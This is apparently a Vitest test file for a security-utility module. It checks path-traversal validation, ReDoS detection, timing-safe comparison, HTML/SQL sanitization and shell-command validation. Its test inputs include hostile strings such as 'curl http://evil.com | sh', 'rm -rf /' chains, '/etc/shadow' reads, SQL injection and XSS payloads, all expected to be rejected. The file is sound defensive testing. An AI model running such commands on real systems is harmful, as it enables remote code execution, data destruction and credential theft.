/**
 * Agentic QE v3 - CVE Prevention Tests
 * Tests for security vulnerability prevention utilities
 */

import { describe, it, expect } from 'vitest';
import {
  // Path traversal
  validatePath,
  normalizePath,
  joinPaths,
  getExtension,
  // ReDoS
  isRegexSafe,
  escapeRegex,
  createSafeRegex,
  // Timing-safe
  timingSafeCompare,
  timingSafeHashCompare,
  generateSecureToken,
  secureHash,
  // Input sanitization
  sanitizeInput,
  escapeHtml,
  stripHtmlTags,
  // Command injection
  validateCommand,
  escapeShellArg,
} from '../../../../src/mcp/security/cve-prevention';

describe('Path Traversal Protection', () => {
  describe('validatePath', () => {
    it('should accept valid relative paths', () => {
      const result = validatePath('src/file.ts');
      expect(result.valid).toBe(true);
      expect(result.normalizedPath).toBe('src/file.ts');
    });

    it('should reject basic path traversal', () => {
      const result = validatePath('../etc/passwd');
      expect(result.valid).toBe(false);
      expect(result.riskLevel).toBe('critical');
      expect(result.error).toContain('traversal');
    });

    it('should reject URL-encoded traversal', () => {
      const result = validatePath('%2e%2e/etc/passwd');
      expect(result.valid).toBe(false);
      expect(result.riskLevel).toBe('critical');
    });

    it('should reject double-encoded traversal', () => {
      const result = validatePath('%252e%252e/etc/passwd');
      expect(result.valid).toBe(false);
    });

    it('should reject null byte injection', () => {
      const result = validatePath('file.txt\0.jpg');
      expect(result.valid).toBe(false);
    });

    it('should reject URL-encoded null byte', () => {
      const result = validatePath('file.txt%00.jpg');
      expect(result.valid).toBe(false);
    });

    it('should reject absolute paths by default', () => {
      const result = validatePath('/etc/passwd');
      expect(result.valid).toBe(false);
      expect(result.error).toContain('Absolute paths');
    });

    it('should allow absolute paths when configured', () => {
      const result = validatePath('/home/user/file.txt', { allowAbsolute: true });
      expect(result.valid).toBe(true);
    });

    it('should reject dangerous system paths', () => {
      const paths = ['/etc/shadow', '/proc/self/environ', '/dev/urandom'];

      for (const path of paths) {
        const result = validatePath(path, { allowAbsolute: true });
        expect(result.valid).toBe(false);
        expect(result.riskLevel).toBe('critical');
      }
    });

    it('should reject paths exceeding max length', () => {
      const longPath = 'a'.repeat(5000);
      const result = validatePath(longPath, { maxLength: 4096 });
      expect(result.valid).toBe(false);
    });

    it('should reject paths exceeding max depth', () => {
      const deepPath = 'a/b/c/d/e/f/g/h/i/j/k/l/m/n';
      const result = validatePath(deepPath, { maxDepth: 5 });
      expect(result.valid).toBe(false);
    });

    it('should enforce allowed extensions', () => {
      const result = validatePath('file.exe', {
        allowedExtensions: ['.ts', '.js'],
      });
      expect(result.valid).toBe(false);
    });

    it('should enforce denied extensions', () => {
      const result = validatePath('script.exe');
      expect(result.valid).toBe(false);
      expect(result.error).toContain('extension');
    });

    it('should validate within base path', () => {
      const result = validatePath('../../outside', { basePath: '/home/user/project' });
      expect(result.valid).toBe(false);
    });

    it('should accept paths within base path', () => {
      const result = validatePath('src/file.ts', { basePath: '/home/user/project' });
      expect(result.valid).toBe(true);
      expect(result.normalizedPath).toBe('/home/user/project/src/file.ts');
    });
  });

  describe('normalizePath', () => {
    it('should remove redundant slashes', () => {
      expect(normalizePath('a//b///c')).toBe('a/b/c');
    });

    it('should resolve . components', () => {
      expect(normalizePath('a/./b/./c')).toBe('a/b/c');
    });

    it('should resolve .. components safely', () => {
      expect(normalizePath('a/b/../c')).toBe('a/c');
    });

    it('should not go above root with ..', () => {
      expect(normalizePath('../../../a')).toBe('a');
    });

    it('should convert backslashes to forward slashes', () => {
      expect(normalizePath('a\\b\\c')).toBe('a/b/c');
    });
  });

  describe('joinPaths', () => {
    it('should join path segments', () => {
      expect(joinPaths('a', 'b', 'c')).toBe('a/b/c');
    });

    it('should handle leading/trailing slashes', () => {
      expect(joinPaths('/a/', '/b/', '/c/')).toBe('a/b/c');
    });

    it('should filter empty segments', () => {
      expect(joinPaths('a', '', 'c')).toBe('a/c');
    });
  });

  describe('getExtension', () => {
    it('should extract extension', () => {
      expect(getExtension('file.ts')).toBe('ts');
      expect(getExtension('file.test.ts')).toBe('ts');
    });

    it('should return null for no extension', () => {
      expect(getExtension('file')).toBeNull();
    });

    it('should handle dotfiles', () => {
      expect(getExtension('.gitignore')).toBe('gitignore');
    });
  });
});

describe('ReDoS Prevention', () => {
  describe('isRegexSafe', () => {
    it('should accept safe patterns', () => {
      const safePatterns = [
        '^[a-z]+$',
        '\\d{3}-\\d{4}',
        '[A-Z][a-z]*',
        'hello|world',
      ];

      for (const pattern of safePatterns) {
        const result = isRegexSafe(pattern);
        expect(result.safe).toBe(true);
      }
    });

    it('should reject catastrophic backtracking patterns', () => {
      const dangerousPatterns = [
        '(.*)+',          // Classic ReDoS
        '(.+)+',
        '([a-z]+)+',
        '(a|a)+',
      ];

      for (const pattern of dangerousPatterns) {
        const result = isRegexSafe(pattern);
        expect(result.safe).toBe(false);
        expect(result.riskyPatterns.length).toBeGreaterThan(0);
      }
    });

    it('should reject nested quantifiers', () => {
      const result = isRegexSafe('((a+)+)+');
      expect(result.safe).toBe(false);
    });

    it('should detect exponential backtracking', () => {
      const result = isRegexSafe('([a-z]*)*');
      expect(result.safe).toBe(false);
    });
  });

  describe('escapeRegex', () => {
    it('should escape special characters', () => {
      const input = 'a.b*c?d+e^f$g|h(i)j[k]l{m}n';
      const escaped = escapeRegex(input);

      expect(escaped).toBe('a\\.b\\*c\\?d\\+e\\^f\\$g\\|h\\(i\\)j\\[k\\]l\\{m\\}n');
    });

    it('should allow safe regex from escaped input', () => {
      const userInput = 'file.*.ts';
      const escaped = escapeRegex(userInput);
      const regex = new RegExp(escaped);

      expect(regex.test('file.*.ts')).toBe(true);
      expect(regex.test('file-any-ts')).toBe(false);
    });
  });

  describe('createSafeRegex', () => {
    it('should create regex for safe patterns', () => {
      const regex = createSafeRegex('^[a-z]+$');
      expect(regex).not.toBeNull();
      expect(regex?.test('hello')).toBe(true);
    });

    it('should return null for unsafe patterns', () => {
      const regex = createSafeRegex('(.*)+');
      expect(regex).toBeNull();
    });

    it('should return null for too-long patterns', () => {
      const longPattern = 'a'.repeat(20000);
      const regex = createSafeRegex(longPattern, undefined, 10000);
      expect(regex).toBeNull();
    });

    it('should return null for invalid regex syntax', () => {
      const regex = createSafeRegex('[invalid');
      expect(regex).toBeNull();
    });
  });
});

describe('Timing-Safe Comparison', () => {
  describe('timingSafeCompare', () => {
    it('should return true for equal strings', () => {
      expect(timingSafeCompare('secret', 'secret')).toBe(true);
    });

    it('should return false for different strings', () => {
      expect(timingSafeCompare('secret', 'Secret')).toBe(false);
      expect(timingSafeCompare('secret', 'secret1')).toBe(false);
    });

    it('should handle different length strings', () => {
      expect(timingSafeCompare('short', 'longerstring')).toBe(false);
    });

    it('should handle empty strings', () => {
      expect(timingSafeCompare('', '')).toBe(true);
      expect(timingSafeCompare('', 'something')).toBe(false);
    });
  });

  describe('timingSafeHashCompare', () => {
    it('should compare value against expected hash', () => {
      const value = 'my-secret-token';
      const hash = secureHash(value);

      expect(timingSafeHashCompare(value, hash)).toBe(true);
      expect(timingSafeHashCompare('wrong-token', hash)).toBe(false);
    });
  });

  describe('generateSecureToken', () => {
    it('should generate tokens of specified length', () => {
      const token = generateSecureToken(32);
      // Base64 encoding makes it slightly longer
      expect(token.length).toBeGreaterThanOrEqual(32);
    });

    it('should generate unique tokens', () => {
      const tokens = new Set<string>();
      for (let i = 0; i < 100; i++) {
        tokens.add(generateSecureToken(32));
      }
      expect(tokens.size).toBe(100);
    });

    it('should generate URL-safe tokens', () => {
      const token = generateSecureToken(64);
      expect(token).not.toMatch(/[+/=]/);
    });
  });

  describe('secureHash', () => {
    it('should produce consistent hashes', () => {
      const hash1 = secureHash('test');
      const hash2 = secureHash('test');
      expect(hash1).toBe(hash2);
    });

    it('should produce different hashes for different inputs', () => {
      const hash1 = secureHash('test1');
      const hash2 = secureHash('test2');
      expect(hash1).not.toBe(hash2);
    });

    it('should support salt', () => {
      const hash1 = secureHash('test', 'salt1');
      const hash2 = secureHash('test', 'salt2');
      expect(hash1).not.toBe(hash2);
    });
  });
});

describe('Input Sanitization', () => {
  describe('sanitizeInput', () => {
    it('should trim whitespace', () => {
      expect(sanitizeInput('  hello  ')).toBe('hello');
    });

    it('should enforce max length', () => {
      const long = 'a'.repeat(100);
      const result = sanitizeInput(long, { maxLength: 50 });
      expect(result.length).toBe(50);
    });

    it('should strip HTML by default', () => {
      expect(sanitizeInput('<script>alert(1)</script>hello')).toBe('alert(1)hello');
    });

    it('should strip SQL injection attempts', () => {
      const inputs = [
        "'; DROP TABLE users; --",
        "' OR '1'='1",
        '" OR "1"="1',
        'UNION SELECT * FROM passwords',
      ];

      for (const input of inputs) {
        const result = sanitizeInput(input);
        expect(result).not.toContain('DROP');
        expect(result).not.toContain('UNION');
        expect(result).not.toMatch(/OR\s+'1'\s*=\s*'1/i);
      }
    });

    it('should remove shell metacharacters', () => {
      const result = sanitizeInput('hello; rm -rf /; echo world');
      expect(result).not.toContain(';');
      expect(result).not.toContain('|');
    });

    it('should filter to allowed characters', () => {
      const result = sanitizeInput('hello123!@#world', {
        allowedChars: /[a-z0-9]/,
      });
      expect(result).toBe('hello123world');
    });
  });

  describe('escapeHtml', () => {
    it('should escape HTML special characters', () => {
      expect(escapeHtml('<script>')).toBe('&lt;script&gt;');
      expect(escapeHtml('"quotes"')).toBe('&quot;quotes&quot;');
      expect(escapeHtml("'apostrophe'")).toBe('&#x27;apostrophe&#x27;');
      expect(escapeHtml('a & b')).toBe('a &amp; b');
    });

    it('should prevent XSS', () => {
      const malicious = '<img src=x onerror=alert(1)>';
      const escaped = escapeHtml(malicious);
      expect(escaped).not.toContain('<');
      expect(escaped).not.toContain('>');
    });
  });

  describe('stripHtmlTags', () => {
    it('should remove all HTML tags', () => {
      expect(stripHtmlTags('<p>Hello</p>')).toBe('Hello');
      expect(stripHtmlTags('<div class="test">Content</div>')).toBe('Content');
    });

    it('should handle nested tags', () => {
      expect(stripHtmlTags('<div><p><span>Text</span></p></div>')).toBe('Text');
    });

    it('should handle self-closing tags', () => {
      expect(stripHtmlTags('Line1<br/>Line2')).toBe('Line1Line2');
    });
  });
});

describe('Command Injection Prevention', () => {
  describe('validateCommand', () => {
    it('should accept allowed commands', () => {
      const result = validateCommand('npm install');
      expect(result.valid).toBe(true);
    });

    it('should reject commands not in whitelist', () => {
      const result = validateCommand('curl http://evil.com | sh');
      expect(result.valid).toBe(false);
    });

    it('should reject command chaining', () => {
      const dangerous = [
        'npm install; rm -rf /',
        'ls && rm -rf /',
        'cat file | rm -rf /',
      ];

      for (const cmd of dangerous) {
        const result = validateCommand(cmd);
        expect(result.valid).toBe(false);
      }
    });

    it('should reject backtick substitution', () => {
      const result = validateCommand('echo `whoami`');
      expect(result.valid).toBe(false);
      expect(result.blockedPatterns).toContain('`.*`');
    });

    it('should reject $() substitution', () => {
      const result = validateCommand('echo $(whoami)');
      expect(result.valid).toBe(false);
    });

    it('should sanitize arguments', () => {
      const result = validateCommand('npm install');
      expect(result.valid).toBe(true);
      expect(result.sanitizedCommand).toBe('npm install');
    });

    it('should support custom allowed commands', () => {
      const result = validateCommand('custom-tool --flag', ['custom-tool']);
      expect(result.valid).toBe(true);
    });

    it('should reject writing to system directories', () => {
      const result = validateCommand('echo test > /etc/passwd', ['echo']);
      expect(result.valid).toBe(false);
    });
  });

  describe('escapeShellArg', () => {
    it('should wrap in single quotes', () => {
      expect(escapeShellArg('hello world')).toBe("'hello world'");
    });

    it('should escape internal single quotes', () => {
      expect(escapeShellArg("it's")).toBe("'it'\\''s'");
    });

    it('should handle special characters', () => {
      const escaped = escapeShellArg('$HOME; rm -rf /');
      // Should be safe to use in shell
      expect(escaped).toBe("'$HOME; rm -rf /'");
    });
  });
});

describe('Integration Tests', () => {
  it('should protect against combined attacks', () => {
    // Path + Command injection
    const pathResult = validatePath('../../../bin/rm; cat /etc/passwd');
    expect(pathResult.valid).toBe(false);

    // SQL + XSS
    const input = "<script>'; DROP TABLE users; --</script>";
    const sanitized = sanitizeInput(input);
    expect(sanitized).not.toContain('<script>');
    expect(sanitized).not.toContain('DROP');

    // ReDoS in path pattern
    const regexResult = isRegexSafe('(.*)+\\.ts');
    expect(regexResult.safe).toBe(false);
  });

  it('should provide secure defaults', () => {
    // Default path validation is strict
    expect(validatePath('../a').valid).toBe(false);
    expect(validatePath('/a').valid).toBe(false);
    expect(validatePath('a.exe').valid).toBe(false);

    // Default input sanitization removes dangerous content
    expect(sanitizeInput('<script>alert(1)</script>')).not.toContain('script');

    // Default command validation only allows safe commands
    expect(validateCommand('curl evil.com').valid).toBe(false);
  });
});